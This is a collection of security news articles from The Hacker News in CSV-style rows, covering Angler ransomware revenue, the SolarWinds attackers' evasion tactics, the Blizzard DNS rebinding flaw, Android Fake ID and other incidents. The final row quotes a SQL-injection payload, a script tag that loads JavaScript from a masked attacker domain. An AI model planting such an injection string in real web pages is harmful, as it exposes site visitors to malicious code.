Remember, it's just a figure estimated by Cisco researchers following the log files retrieved from just one server. The actual number could be even larger than $30 Million annually, but we can not immediately come to any conclusions.
Researchers from Cisco Systems' Talos Security unit noted that ""using simple math [one] can easily determine that this [particular] adversary is making potentially $3 Million a month,"" but ""It is difficult to be 100% accurate with these numbers.""

Hackers Making $60 Million Annually

The security firm also claims that this hacker or group of hackers is responsible for up to 50% of Angler Exploit Kit activity, which means that the Angler kit might be generating revenue of more than $60M annually for hackers around the world.

The affected hosting provider Limestone Networks have since shut down the malicious servers after Cisco researchers contacted them.

Angler Exploit kit, first identified in late 2013, has managed to become one of the most popular exploit kits in the market. Essentially it packages a number of hacking tools that take advantage of vulnerabilities Flash, Java and other browser plugins to break into targets' systems.

Now cyber criminals are making use of ransomware in their kit that yield them more money per attack.
""This is a significant blow to the emerging hacker economy,"" researchers said, ""where ransomware and the black market sale of stolen IP, credit card info and personally identifiable information (PII) are generating hundreds of millions of dollars annually.""

How to Protect Against Ransomware?

However, there are several ways to help protect your computer against ransomware and other malware threats:
Make sure to keep all of the software on your computer up to date.
Make sure that automatic updating is turned on to get all the latest security updates.
Use secure connections for sensitive transactions.
Never open any attachment unless you know who it's from and why they are sending it.
Use virtual keyboard for internet banking.
Use strong alphanumeric and symbol passwords.
Common sense is another useful weapon in the fight against viruses.
Also Read:
How to protect your computer from CryptoLocker ransomware malware?
Free CryptoLocker Ransomware Decryption Tool Released
CoinVault Ransomware Decryption Tool Released
'Tox' Offers Free build-your-own Ransomware Malware Toolkit

",Malware
Microsoft to patch three critical vulnerabilities on Tuesday,https://thehackernews.com/2012/07/microsoft-to-patch-three-critical.html,"Microsoft to patch three critical vulnerabilities on Tuesday
When Patch Tuesday rolls around next week, Three critical vulnerabilities , as well as six Important issues will be addressed by Microsoft. Only three of the nine security bulletins are ranked Critical, while the remaining six are rated as Important.

Although all three of of the Critical vulnerabilities center on Windows, one of them also includes Internet Explorer 9. Interestingly, the flaw does not extend to previous versions of the browser, so it appears it's something new.

The two other critical bulletins could allow malicious users to remotely execute code on Windows operating systems, including all supported server and client versions. ""Many are expecting a patch for CVE-2012-1889: a vulnerability in Microsoft XML Core Services, which is currently being exploited in the wild,"" says Marcus Carey, a security researcher with Rapid7.

Get the full details when the security bulletins are officially released next Tuesday. Happy patching next week!

",Vulnerability
Critical Flaw in All Blizzard Games Could Let Hackers Hijack Millions of PCs,https://thehackernews.com/2018/01/dns-rebinding-attack-hacking.html,"A Google security researcher has discovered a severe vulnerability in Blizzard games that could allow remote attackers to run malicious code on gamers' computers.

Played every month by half a billion users—World of Warcraft, Overwatch, Diablo III, Hearthstone and Starcraft II are popular online games created by Blizzard Entertainment.

To play Blizzard games online using web browsers, users need to install a game client application, called 'Blizzard Update Agent,' onto their systems that run JSON-RPC server over HTTP protocol on port 1120, and ""accepts commands to install, uninstall, change settings, update and other maintenance related options.""

Google's Project Zero team researcher Tavis Ormandy discovered that the Blizzard Update Agent is vulnerable to a hacking technique called the ""DNS Rebinding"" attack that allows any website to act as a bridge between the external server and your localhost.

Just last week, Ormandy revealed a similar vulnerability in a popular Transmission BitTorrent app that could allow hackers to remotely execute malicious code on BitTorrent users' computers and take control of them.

By simply creating a DNS entry to bind any attacker-controlled web page with localhost (127.0.0.1) and tricking users into visiting it, hackers can easily send privileged commands to the Blizzard Update Agent using JavaScript code.

Although a random website running in a web browser usually cannot make requests to a hostname other than its own, the local Blizzard updater service does not validate what hostname the client was requesting and responds to such requests.

Blizzard DNS Rebinding Attack — Proof of Concept Exploit

Ormandy has also published a proof-of-concept exploit that executes DNS rebinding attack against Blizzard clients and could be modified to allow exploitation using network drives, or setting destination to ""downloads"" and making the browser install malicious DLLs, data files, etc.

Ormandy responsibly reported Blizzard of the issue in December to get it patched before hackers could take advantage of it to target hundreds of millions of gamers.

However, after initially communication, Blizzard inappropriately stopped responding to Ormandy's emails and silently applied partial mitigation in the client version 5996.
""Blizzard was replying to emails but stopped communicating on December 22nd. Blizzard is no longer replying to any enquiries, and it looks like in version 5996 the Agent now has been silently patched with a bizarre solution,"" Ormandy says.
""Their solution appears to be to query the client command line, get the 32-bit FNV-1a string hash of the exename and then check if it's in a blacklist. I proposed they whitelist Hostnames, but apparently, that solution was too elegant and simple. I'm not pleased that Blizzard pushed this patch without notifying me, or consulted me on this.""
After the Ormandy's report went public, Blizzard contacted and informed him that a more robust Host header whitelist fix to address the issue entirely is currently being developed for deployment.

Ormandy is also checking other big games vendors with a user base of over 100 Million to see if the problem can be replicated.

",Cyber_Attack
Here's How SolarWinds Hackers Stayed Undetected for Long Enough,https://thehackernews.com/2021/01/heres-how-solarwinds-hackers-stayed.html,"Microsoft on Wednesday shared more specifics about the tactics, techniques, and procedures (TTPs) adopted by the attackers behind the SolarWinds hack to stay under the radar and avoid detection, as cybersecurity companies work towards getting a ""clearer picture"" of one of the most sophisticated attacks in recent history.
Calling the threat actor ""skillful and methodic operators who follow operations security (OpSec) best practices,"" the company said the attackers went out of their way to ensure that the initial backdoor (Sunburst aka Solorigate) and the post-compromise implants (Teardrop and Raindrop) are separated as much as possible so as to hinder efforts to spot their malicious activity.
""The attackers behind Solorigate are skilled campaign operators who carefully planned and executed the attack, remaining elusive while maintaining persistence,"" researchers from Microsoft 365 Defender Research Team, Microsoft Threat Intelligence Center (MSTIC), and Microsoft Cyber Defense Operations Center (CDOC) said.
While the exact identity of the group tracked as StellarParticle (CrowdStrike), UNC2452 (FireEye), SolarStorm (Palo Alto Unit 42), and Dark Halo (Volexity) remains unknown as yet, the U.S. government earlier this month formally tied the espionage campaign to a group likely of Russian origin.
A Variety of Tactics to Stay Undetected
Microsoft's timeline of the attacks shows that the fully-functional Sunburst DLL backdoor was compiled and deployed onto SolarWinds' Orion platform on February 20, following which it was distributed in the form of tampered updates sometime in late March.
An almost two-month-long reconnaissance period to profile its targets — something that requires a stealthy persistence to remain undetected and collect valuable information — ultimately paved the way for the deployment of Cobalt Strike implants on selected victim networks in May and the removal of Sunburst from SolarWinds build environment on June 4.
But answers as to how and when the transition from Sunburst to Raindrop occurs has yielded little definitive clues, even if it appears that the attackers deliberately separated the Cobalt Strike loader's execution from the SolarWinds process as an OpSec measure.
The idea is that in the event the Cobalt Strike implants were discovered on target networks, it wouldn't reveal the compromised SolarWinds binary and the supply chain attack that led to its deployment in the first place.
The findings also make it clear that, while the hackers relied on an array of attack vectors, the trojanized SolarWinds software formed the core of the espionage operation:
Methodic avoidance of shared indicators for each compromised host by deploying custom Cobalt Strike DLL implants on each system
Camouflaging malicious tools and binaries to mimic existing files and programs already present on the compromised machine
Disabling event logging using AUDITPOL before hands-on keyboard activity and enabling it back once complete
Creating special firewall rules to minimize outgoing packets for certain protocols before running noisy network enumeration activities that were later removed after the network survey
Executing lateral movement activities only after disabling security services on targeted hosts
Allegedly using timestomping to change artifacts' timestamps and leveraging wiping procedures and tools to prevent discovery of malicious DLL implants
Adopting a Zero Trust Mentality
""This attack was simultaneously sophisticated and ordinary,"" Microsoft said. ""The actor demonstrated sophistication in the breadth of tactics used to penetrate, expand across, and persist in affected infrastructure, but many of the tactics, techniques, and procedures (TTPs) were individually ordinary.""
To protect against such attacks in the future, the company recommends that organizations adopt a ""zero trust mentality"" to achieve least privileged access and minimize risks by enabling multi-factor authentication.
""With Solorigate, the attackers took advantage of broad role assignments, permissions that exceeded role requirements, and in some cases abandoned accounts and applications which should have had no permissions at all,"" Alex Weinert, Microsoft's director of identity security, said.

",Cyber_Attack
Chinese Cyber Espionage Hackers Continue to Target Pulse Secure VPN Devices,https://thehackernews.com/2021/05/chinese-cyber-espionage-hackers.html,"Cybersecurity researchers from FireEye unmasked additional tactics, techniques, and procedures (TTPs) adopted by Chinese threat actors who were recently found abusing Pulse Secure VPN devices to drop malicious web shells and exfiltrate sensitive information from enterprise networks.
FireEye's Mandiant threat intelligence team, which is tracking the cyber espionage activity under two activity clusters UNC2630 and UNC2717, said the intrusions line up with key Chinese government priorities, adding ""many compromised organizations operate in verticals and industries aligned with Beijing's strategic objectives outlined in China's recent 14th Five Year Plan.""
On April 20, the cybersecurity firm disclosed 12 different malware families, including STEADYPULSE and LOCKPICK, that have been designed with the express intent to infect Pulse Secure VPN appliances and put to use by at least two cyber espionage groups believed to be affiliated with the Chinese government.
UNC2630 - SLOWPULSE, RADIALPULSE, THINBLOOD, ATRIUM, PACEMAKER, SLIGHTPULSE, and PULSECHECK
UNC2717 - HARDPULSE, QUIETPULSE, AND PULSEJUMP
FireEye's continued investigation into the attacks as part of its incident response efforts has uncovered four more malware families deployed by UNC2630 — BLOODMINE, BLOODBANK, CLEANPULSE, and RAPIDPULSE — for purposes of harvesting credentials and sensitive system data, allowing arbitrary file execution, and removing forensic evidence.
In addition, the threat actors were also observed removing web shells, ATRIUM, and SLIGHTPULSE, from dozens of compromised VPN devices between April 17 and April 20 in what the researchers describe as ""unusual,"" suggesting ""this action displays an interesting concern for operational security and a sensitivity to publicity.""
At the heart of these intrusions lies CVE-2021-22893, a recently patched vulnerability in Pulse Secure VPN devices that the adversaries exploited to gain an initial foothold on the target network, using it to steal credentials, escalate privileges, conduct internal reconnaissance by moving laterally across the network, before maintaining long-term persistent access, and accessing sensitive data.
""Both UNC2630 and UNC2717 display advanced tradecraft and go to impressive lengths to avoid detection. The actors modify file timestamps and regularly edit or delete forensic evidence such as logs, web server core dumps, and files staged for exfiltration,"" the researchers said. ""They also demonstrate a deep understanding of network appliances and advanced knowledge of a targeted network. This tradecraft can make it difficult for network defenders to establish a complete list of tools used, credentials stolen, the initial intrusion vector, or the intrusion start date.""

",Malware
How Cloud-Based Automation Can Keep Business Operations Secure,https://thehackernews.com/2019/09/how-cloud-based-automation-can-keep.html,"The massive data breach at Capital One – America's seventh-largest bank, according to revenue – has challenged many common assumptions about cloud computing for the first time.

Ironically, the incident, which exposed some 106 million Capital One customers' accounts, has only reinforced the belief that the cloud remains the safest way to store sensitive data.

""You have to compare [the cloud] not against 'perfect' but against 'on-premises.'"" Ed Amoroso, a former chief security officer at AT&T, told Fortune magazine this week.

He wasn't the only voice defending cloud computing in the wake of a hack attack. In an article titled ""Don't Doubt the Cloud,"" Fortune columnist Robert Hackett, wrote: ""The cloud is undeniably convenient and, more importantly, better in terms of security than what the majority of companies can achieve alone.""

The problem, experts said, was not cloud computing but rather the tendency for companies to become overly-reliant on cloud computing services like Amazon Web Services to oversee all aspects of security, instead of taking full responsibility for their data security.

Security Advantages of Cloud-Based System

After taking the necessary steps to ensure the safety of their data, companies benefit in numerous ways from the collective security of the cloud.

1. Services such as SaaS (Software as a Service) are hosted on cloud servers

With the collective power of the cloud, the changes are extremely high that the servers hosting your data are better protected than your on-site servers would be. In addition, the cloud service provider handles all maintenance, updates, and support. That takes a great deal of pressure off the IT department.

This is both the biggest benefit of cloud computing and possibly the biggest area of risk. While a service such as Amazon Cloud Services has security resources few companies can match, it must be remembered that placing data in on the cloud is to take it out of complete control by your company. The firewalls protecting the data are no longer your own.

But since your company is still working with the data, it must be secured at a high level on your end. That means compliance with SOC 2 and ISO/27001.

2. Greatly Reduce Human Error – the Single Biggest Threat to Data Safety

With fewer people having access to the data, there are fewer opportunities for errors that lead to data breaches. Too often, hackers can get through the most secure firewalls because someone on the other side carelessly clicked through a link that was planted by a hacker, usually in an email.

But since the data is stored on servers in the cloud, not on-premises, those types of hacks will not result in data breaches.

In addition, adding a layer of automation could reduce the amount of human interaction even more. Start-ups such as PapayaGlobal offer automation in global payroll ears renowned for being the target of hackers, whilst other companies have developed solutions involving robotic process automation (RPA)—software bots that are capable of mimicking human actions.

Those bots are already being employed in areas such as book-keeping. The fewer people interacting with sensitive data, the safer the data will be.

3. Data Transfers Only Through Secure channels

Some of the most common data breaches are carried out through the most mundane methods. Hackers create ""spoof"" versions of popular email programs.

During tax season, when emails between financial departments and accounting firms are most intense, it's easy to fall for the crafty spoofs and wind up sending data directly to a cybercriminal.

Email is widely recognized as one of the worst ways to send private and sensitive data for a variety of reasons. Not surprisingly, the strict standard for data privacy set by the EU's GDPR forbids transferring private information through email.

With cloud computing, data is sent only through secure, encrypted channels. That eliminates the possibility of spoofs and other common ploys by hackers. It also keeps the data out of sight from hackers, significantly reducing the possibility that they would try to hack your data by other means.

4. Separation between work environment and storage environment

Another great advantage of the cloud is the networking segmentation between computing and storage. The obvious benefit of this separation is the reduced risk that all data will be compromised, even if a hacker manages to breach all the sophisticated defenses.

Other forms of segmentation include limiting the number of people who can access certain data. Keeping sensitive information in the hands of only those individuals who need it, and staggering access so that the smallest possible number of people have access to the whole is an excellent way to mitigate potential breaches.

Avoiding the Next Capital One Breach

Few companies were as committed to the benefits of cloud computing as Capital One. While this did not protect the company from suffering one of the largest data breaches in history, it may help the next company avoid the same fate.

It has brought greater awareness to the field of cloud security and data protection and identified areas that were exploitable by crafty hackers.

The breach did not prove that the cloud was less secure than previously believed. It showed that it is never a good idea to outsource data security entirely to a third party.

Companies need to remain on guard at all times, take measures to ensure their own part of the data equation remains up to date with the most advanced technology, and keep a watchful eye on their data even when it is stored in the safety of the cloud.

",Data_Breaches
"Hackers Breach Stack Overflow Q&A Site, Some Users' Data Exposed",https://thehackernews.com/2019/05/stack-overflow-databreach.html,"Note: We have updated this story to reflect new information after Stack Overflow changed its original announcement and shared more details on the security incident.

Stack Overflow, one of the largest question and answer site for programmers, revealed today that unknown hackers managed to exploit a bug in its development tier and then almost a week after they gained unauthorized access to its production version.

Founded by Jeff Atwood and Joel Spolsky in 2008, Stack Overflow is the flagship site of the Stack Exchange Network. With 10 million registered users and over 50 million unique visitors every month, Stack Overflow is very popular among professional and enthusiast programmers.

In an older version of the announcement published by Mary Ferguson, VP of Engineering at Stack Overflow, the company confirmed the breach but said it did not find any evidence that hackers accessed customers' accounts or any user data.

However, the updated announcement now says that after sitting quiet for a week, hackers executed privileged web requests, but were able to gain access to a very small portion of data, including IP address, names, and email address—and that for only a small number of users.

""Between May 5 and May 11, the intruder contained their activities to exploration. On May 11, the intruder made a change to our system to grant themselves a privileged access on production. This change was quickly identified and we revoked their access network-wide, began investigating the intrusion, and began taking steps to remediate the intrusion.""
""We can now confirm that our investigation suggests the requests in question affected approximately 250 public network users. Affected users will be notified by us,"" Ferguson said.

The company also revealed hackers exploited a bug that was introduced in a recently deployed built to the development tier for the Stack Overflow website.

Stack Overflow said the company is patching all known vulnerabilities.

""We discovered and investigated the extent of the access and are addressing all known vulnerabilities,"" Ferguson said.

""As part of our security procedures to protect sensitive customer data, we maintain separate infrastructure and networks for clients of our Teams, Business, and Enterprise products and we have found no evidence that those systems or customer data were accessed. Our Advertising and Talent businesses were also not impacted by this intrusion.""

Late last year, another popular question and answer website Quora suffered a massive data breach with hackers gaining access to sensitive information of about 100 million of its users, including their names, email addresses, hashed password, and personal messages.

",Data_Breaches
US Agencies and FireEye Were Hacked Using SolarWinds Software Backdoor,https://thehackernews.com/2020/12/us-agencies-and-fireeye-were-hacked.html,"State-sponsored actors allegedly working for Russia have targeted the US Treasury, the Commerce Department's National Telecommunications and Information Administration (NTIA), and other government agencies to monitor internal email traffic as part of a widespread cyberespionage campaign.
The Washington Post, citing unnamed sources, said the latest attacks were the work of APT29 or Cozy Bear, the same hacking group that's believed to have orchestrated a breach of US-based cybersecurity firm FireEye a few days ago leading to the theft of its Red Team penetration testing tools.
The motive and the full scope of what intelligence was compromised remains unclear, but signs are that adversaries tampered with a software update released by Texas-based IT infrastructure provider SolarWinds earlier this year to infiltrate the systems of government agencies as well as FireEye and mount a highly-sophisticated supply chain attack.
""The compromise of SolarWinds' Orion Network Management Products poses unacceptable risks to the security of federal networks,"" said Brandon Wales, acting director of the US Cybersecurity and Infrastructure Security Agency (CISA), which has released an emergency directive, urging federal civilian agencies to review their networks for suspicious activity and disconnect or power down SolarWinds Orion products immediately.
SolarWinds' networking and security products are used by more than 300,000 customers worldwide, including Fortune 500 companies, government agencies, and education institutions.
It also serves several major US telecommunications companies, all five branches of the US Military, and other prominent government organizations such as the Pentagon, State Department, NASA, National Security Agency (NSA), Postal Service, NOAA, Department of Justice, and the Office of the President of the United States.
An Evasive Campaign to Distribute SUNBURST Backdoor
FireEye, which is tracking the ongoing intrusion campaign under the moniker ""UNC2452,"" said the supply chain attack takes advantage of trojanized SolarWinds Orion business software updates in order to distribute a backdoor called SUNBURST.
""This campaign may have begun as early as Spring 2020 and is currently ongoing,"" FireEye said in a Sunday analysis. ""Post compromise activity following this supply chain compromise has included lateral movement and data theft. The campaign is the work of a highly skilled actor and the operation was conducted with significant operational security.""
This rogue version of SolarWinds Orion plug-in, besides masquerading its network traffic as the Orion Improvement Program (OIP) protocol, is said to communicate via HTTP to remote servers so as to retrieve and execute malicious commands (""Jobs"") that cover the spyware gamut, including those for transferring files, executing files, profiling and rebooting the target system, and disabling system services.
Orion Improvement Program or OIP is chiefly used to collect performance and usage statistics data from SolarWinds users for product improvement purposes.
What's more, the IP addresses used for the campaign were obfuscated by VPN servers located in the same country as the victim to evade detection.
Microsoft also corroborated the findings in a separate analysis, stating the attack (which it calls ""Solorigate"") leveraged the trust associated with SolarWinds software to insert malicious code as part of a larger campaign.
""A malicious software class was included among many other legitimate classes and then signed with a legitimate certificate,"" the Windows maker said. The resulting binary included a backdoor and was then discreetly distributed into targeted organizations.""
SolarWinds Releases Security Advisory
In a security advisory published by SolarWinds, the company said the attack targets versions 2019.4 through 2020.2.1 of the SolarWinds Orion Platform software that was released between March and June 2020, while recommending users to upgrade to Orion Platform release 2020.2.1 HF 1 immediately.
The firm, which is currently investigating the attack in coordination with FireEye and the US Federal Bureau of Investigation, is also expected to release an additional hotfix, 2020.2.1 HF 2, on December 15, which replaces the compromised component and provides several extra security enhancements.
FireEye last week disclosed that it fell victim to a highly sophisticated foreign-government attack that compromised its software tools used to test the defenses of its customers.
Totaling as many as 60 in number, the stolen Red Team tools are a mix of publicly available tools (43%), modified versions of publicly available tools (17%), and those that were developed in-house (40%).
Furthermore, the theft also includes exploit payloads that leverage critical vulnerabilities in Pulse Secure SSL VPN (CVE-2019-11510), Microsoft Active Directory (CVE-2020-1472), Zoho ManageEngine Desktop Central (CVE-2020-10189), and Windows Remote Desktop Services (CVE-2019-0708).
The campaign, ultimately, appears to be a supply chain attack on a global scale, for FireEye said it detected this activity across several entities worldwide, spanning government, consulting, technology, telecom, and extractive firms in North America, Europe, Asia, and the Middle East.
The indicators of compromise (IoCs) and other relevant attack signatures designed to counter SUNBURST can be accessed here.

",Cyber_Attack
Researchers Demonstrate Zero-Day Vulnerabilities in Tails Operating System,https://thehackernews.com/2014/07/tails-operating-system-zero-day-vulnerabilities_23.html,"The critical zero-day security flaws, discovered in the privacy and security dedicated Linux-based Tails operating system by the researcher at Exodus Intelligence that could help attackers or law enforcements to de-anonymize anyone's identity, actually lie in the I2P software that's bundled with the Operating System.

Exodus Intelligence has released some details and a video evidence that demonstrate an exploit against the found vulnerability unmasking an anonymous user of the Tails operating system.

The researchers at Exodus claims they can use the vulnerability to upload malicious code to a system running Tails, execute the payload remotely, and de-anonymize the targeted users' public IP address as well.

Tails is a security-focused Debian-based Linux distribution and a suite of applications that can be carried on a USB stick, an SD card or a DVD. It keeps users' communications private by running all connectivity through Tor, the network that routes traffic through various layers of servers and encrypts data.

Meanwhile, Exodus claimed that the privacy-oriented operating system has a number of flaws for which there is no available patches. The company that itself sell zero-day exploits to its clients, including the US agencies and DARPA.

But in this case, Exodus alerted I2P as well as Tails to the problem and said it would not disclose the details to users until the problem has been fixed.

Providing the details about the flaw, the company says that the actual problem lies in the heavily encrypted networking program called the Invisible Internet Project (I2P). The network layer that Tails uses to hide the user's public IP address from other websites and servers in order to keep the user anonymous on the web.

The researchers claims to have found a zero-day vulnerability in the way I2P handles network traffic that can be exploited with the help of a specially configured server.

Even after a user has taken all the steps necessary to disassociate his or her public IP address from the outside world, the flaw could allow an attacker to track down user's identity. But the problem doesn't end here, the worst part is that the de-anonymising is achieved by transferring a payload of code to an I2P user and then executing it remotely to cause a massive damage.
""I2P currently boasts about 30,000 active peers. Since I2P has been bundled with Tails since version 0.7, Tails is by far the most widely adopted I2P usage,"" Exodus explained in a blog post revealing the flaw. ""The I2P vulnerability works on default, fully patched installation of Tails. No settings or configurations need to be changed for the exploit to work.""
The Exodus Intelligence security researchers will released more technical details on the hack once the bug get fixed. Exodus Intelligence is working with the Tails and I2P coders to get the patch soon and after that it won't charge any fees for disclosing the flaw with more bugs.
""We hope to break the mold of unconditional trust in a platform. Users should question the tools they use, they should go even further to understand the underlying mechanisms that interlock to grant them security,"" reads the blog post.
""It's not enough to have faith upon security, rather to have an understanding of it. If the public thinks Exodus is one of a few entities finding bugs in software, they are grossly misinformed.""
So far, the number of affected Tails users is not known. The video demonstration of an attack on a Tails system by Exodus can be found here.

This news revelation must be of great concern to the Invisible.im, an anonymous Instant Messenger (IM) offers secure and anonymous service, which is still in its early stages of development and not yet available for download, is looking forward to use the same I2P anonymity network.

",Vulnerability
"Android ""Fake ID"" Vulnerability Allows Malware to Impersonate Trusted Apps",https://thehackernews.com/2014/07/android-fake-id-vulnerability-allows_29.html,"Due to the majority in the mobile platform, Google's Android operating system has been a prior target for cybercriminals and a recently exposed weakness in the way the operating system handles certificate validation, left millions of Android devices open to attack.

Researchers at BlueBox security, who identified the vulnerability, dubbed the flaw as Fake ID, which affects all versions of Android operating system from 2.1 (released in 2010) up to Android 4.4, also known as KitKat.

ALL VERSIONS ARE VULNERABLE UPTO KITKAT
Researchers marked the vulnerability as critical because it could allow a fake and malicious app to masquerade as a legitimate and trusted application, enabling an attacker to perform various actions such as inserting malicious code into a legitimate app, infiltrating your personal information or even take complete control of an affected device. Specifically, devices running the 3LM administration extension are at risk for a complete compromise, which includes devices from HTC to Pantech, Sharp, Sony Ericsson, and Motorola.

""Every Android application has its own unique identity, typically inherited from the corporate developer's identity,"" Bluebox CTO Jeff Forristal wrote in a blog post published Wednesday. The bug, however, will copy the identifies and use them ""for nefarious purposes.""

WHAT IS ""FAKE ID"" ANDROID VULNERABILITY
Researchers named the flaw ""Fake ID"" because it allows malicious applications to pass fake credentials to Android OS, which fails to properly verify the application's cryptographic signature. Instead, the operating system grants all the access permissions to the rogue application that it grants to the legitimate app.

Actually, in order to establish the identity of the app developer, Android applications are signed using digital certificates. But due to the claimed Fake ID vulnerability, the Android app installer doesn't try to authenticate the certificate chain of a given app, which means an attacker can built an app with a fake identity and impersonate it with extensive privileges such as an Adobe plug-in or Google Wallet.

IMPACT AND EXAMPLES
In the case of Adobe, the malware app would look like Adobe-trusted code and have the ability to escape the sandbox and run malicious code inside another app, the researchers said.
""For example, an attacker can create a new digital identity certificate, forge a claim that the identity certificate was issued by Adobe Systems, and sign an application with a certificate chain that contains a malicious identity certificate and the Adobe Systems certificate,"" the Bluebox researchers said in a post explaining their discovery.
""Upon installation, the Android package installer will not verify the claim of the malicious identity certificate, and create a package signature that contains the both certificates. This, in turn, tricks the certificate-checking code in the webview plugin manager (who explicitly checks the chain for the Adobe certificate) and allows the application to be granted the special webview plugin privilege given to Adobe Systems – leading to a sandbox escape and insertion of malicious code, in the form of a webview plugin, into other applications.""
TARGETING GOOGLE WALLET PAYMENT SYSTEM
Researchers also pointed out one more target of an attacker exploiting the Fake ID vulnerability i.e. Google's own Wallet payment system. A malicious app with signature of Google Wallet would allow an attacker to access the NFC (Near Field Communications) chip in the device.

The NFC chip in the device is responsible for the storage of payment information used in NFC payments via Google Wallet. This NFC is used in various electronic payment applications and a malicious code can harvest credit card numbers as well.

According to Jeff Forristal, the attackers have more ways to exploit Fake ID vulnerability, a bug that he will discuss in a presentation at Black Hat in Las Vegas next week.

PATCH RELEASED, BUT YOU CAN'T GET IT IMMEDIATELY
Google already released a patch to its partners in April. However, it still leaves a millions of handsets out there that are still vulnerable, as it's up to the carriers themselves to push the updates to users.

The vulnerability resides in the Android operating system therefore the new update would be available for the users in the coming period, may be today, a month after or could take a year.

As the researchers say, Effectively addressing a vulnerability requires a three step process:
Google produces a generic code fix, which it provides to the Android phone manufacturers
Then phone manufacturers must then incorporate that fix into a firmware update suitable to specific phones, which they provide to carriers
The carrier then distributes the final update, which ensures your phone is safe from the vulnerability As regards Fake ID, Google has provided the generic code fix to the phone manufacturers.
Bluebox Security has also built a Scanner to test for the vulnerability and has a couple of ideas for those who still haven't got the patch.

Bluebox Security is the same company that uncovered the so-called Android ""Master Key"" vulnerability that allowed an attacker to modify any legitimate and digitally signed application in order to transform it into a Trojan program that could then be used to steal device' information or take control of the device.

",Vulnerability
THN Weekly Roundup — Top 14 Must-Read Cyber Security Stories,https://thehackernews.com/2015/09/hackernews-weekly-updates-1.html,"We found a high concern for cybersecurity tactics and an increased awareness of the challenges that it brings.

This week, we shared lots of stories with our readers, and to help them in identifying the biggest malware threats to their online safety.

We are here with the outline of our last week stories, just in case you missed any of them (ICYMI).

We recommend you read the entire thing (just click 'Read More' because there's some valuable advice in there as well). Here's the list:

➢ How Hackers Can Hack Your Gmail Accounts?

Getting smarter in their phishing tactics, hackers have found out ways to fool Gmail's tight security system by bypassing its two-step verification.

Hackers are now using text messages and phone-based phishing attacks to circumvent Gmail's security and take over your Gmail accounts. — Read more.

➢ Not Just Windows 10, Windows 7 and 8 Also Spy on You

Laughing at controversial data mining and privacy invasion features within Windows 10? Well, Windows 7 and 8 users should laugh no longer as Windows 10 spying is now headed their way too…

Microsoft has been criticized for installing latest updates onto Windows 7 and Windows 8 computers that indiscriminately upload users' data to Microsoft's servers, which might be a significant privacy concern for many users.

To check out and uninstall those creepy updates — Read more.

➢ Top Features Expected in Next iPhone Release

The new iPhones – likely called the iPhone 6S, iPhone 6S Plus or iPhone 7 – will be introduced at Apple's fall event on September 9, and the leaked photos highlighted its key new features:
Force Touch
A Larger FaceTime Camera
4K Video Support

For the detailed explanation of these features — Read more.

➢ Six Teenagers Arrested for Using Lizard Squad's DDoS Tool

Six U.K. teenagers were arrested and then released on bail for using Lizard Squad DDoS attack tool and launching cyber attacks on several websites and online retail services.

Lizard Squad DDoS tool, popularly known as Lizard Stresser, was allegedly used for knocking down the largest online gaming networks – PlayStation Network and Xbox Live – last year — Read more.

➢ 26 Android Phone Models Shipped with Pre-Installed Spyware

The latest report from G Data claimed that more than two dozens of Android smartphones from popular handset manufacturers, including Xiaomi, Huawei, and Lenovo, have pre-installed spyware in the firmware that can not be removed without unlocking the phone.

The spyware, disguised as popular Android apps like Facebook and Google Drive, have the capability of listening in to telephone conversations, accessing the Internet, reading contacts, gallery and location data, installing unwanted apps, and many more.

For more details — Read more.

➢ Weaponized Drones Are Now Legal
After arguments over the Drones law, finally news came out, and the local police of North Dakota in the U.S. became the first state to get an approval of flying weaponized drones. — Read more.

➢ Critical OS X Flaw Grants Mac Keychain Access to Malware

Mac's DYLD_PRINT_TO_FILE flaw got worse.

The privilege-escalation bug that was once used to circumvent security protections and install malware on Mac computers has now been upgraded to infect Mac OS X machines even after Apple fixed the issue last month.

The updated version of the same highly questionable Genieo installer is now accessing user's Mac OS X keychain without user's permission. For more details — Read more.

➢ Popular Baby Monitors Are Hackable

Baby monitors made parents' life a calmed one, as they could see and be with their toddlers while they were away working.

But, recent research showed results where baby monitors from several vendors were at risk of getting breached. US- CERT also alarmed about the flaws in these IoT devices. — Read more.

➢ Government Ruled: FBI to Get Warrant for Spying

The new policy announced Thursday by the US Department of Justice would now force the Federal law agencies to get a legal warrant to spy on cell phone users using ""Stingrays"" or ""IMSI catchers.""

Stingrays, which essentially mimic mobile phone tower, has been used by local police and federal authorities for years to track cell phones in countless investigations without obtaining the court order.

However, now under the new policy, the federal agencies will have to present their annual data revealing how many times they have used stingrays. — Read more.

➢ 'AppLock' Android App is Useless

AppLock is present on almost all the Android phone users, after the report by security researchers which depicts practical examples where you can see that you lived under the belief that the app is acting as promised.

But actually, it is lacking in offering essential security features. — Read more.

➢ Enjoy Faster and More Efficient Browsing Experience with 'Chrome 45.'

Google launched Chrome 45 for Windows, Mac, Linux, and Android last week that solves two major issues Chrome users came across:
Memory Consumption
Battery Consumption

Both the issues have been fixed in Chrome 45. So for your question: How to Fix Chrome Massive Memory Usage?

The Answer is — Simply Try 'Chrome 45'. For full details — Read more.

➢ Apple to Charge Your iPhones and Macbooks for Weeks

Apple is looking to fix the major problem its device users came across — short battery life.

According to a new patent filed by Apple for a 'fuel cell system', the technology giant is working on batteries that could Power its MacBooks and iPhones for days or even weeks without refueling.

Not just this, the new report also revealed that Apple is working closely with British firm Intelligent Energy to deploy a hydrogen fuel cell in iPhone 6 prototype announced this month. — Read more.

➢ Twitter Open Sources 'Diffy' that Automatically Catches Potential Bugs in Code

This came as joy to the software developers, as they can now use Diffy- a comparison based regression analysis tool now open source (that Twitter also uses) to differentiate between the new and the old codes programmer has written and eliminate the bugs in the code. — Read more.

➢ How to Hack Popular Belkin Wi-Fi Routers

This one is a serious issue for you to look upon. As, US-CERT prepared a list of vulnerabilities that tag along with the next generation Belkin routers.

The routers are so vulnerable that several severe cyber attacks like privilege escalation and man-in-the-middle attack are probable to happen.

In the end, the US advisory comes with mitigation procedures that you can follow. — Read more.

",Malware
One million pages infected by Lilupophilupop SQL injection,https://thehackernews.com/2012/01/one-million-pages-infected-by.html,"One million pages infected by Lilupophilupop SQL injection


ISC (Internet Storm Center) reported that lilupophilupop.com SQL injection attacks. There were about 80 pages infected according to Google searches few weeks back and now it raise to over 1 million . sites being injected with string : ""></title><script src=""https://lilupop******.com/**.php""></script>
Recommended Read : The Hacker News Hacking Awards : Best of Year 2011


Infections are shows on .com, .de, & .uk as the most affected regions. ISC posted stats just to give you a rough idea of where the pages are:
UK - 56,300
NL - 123,000
DE - 49,700
FR - 68,100
DK - 31,000
CN - 505
CA - 16,600
COM - 30,500
RU - 32,000
JP - 23,200
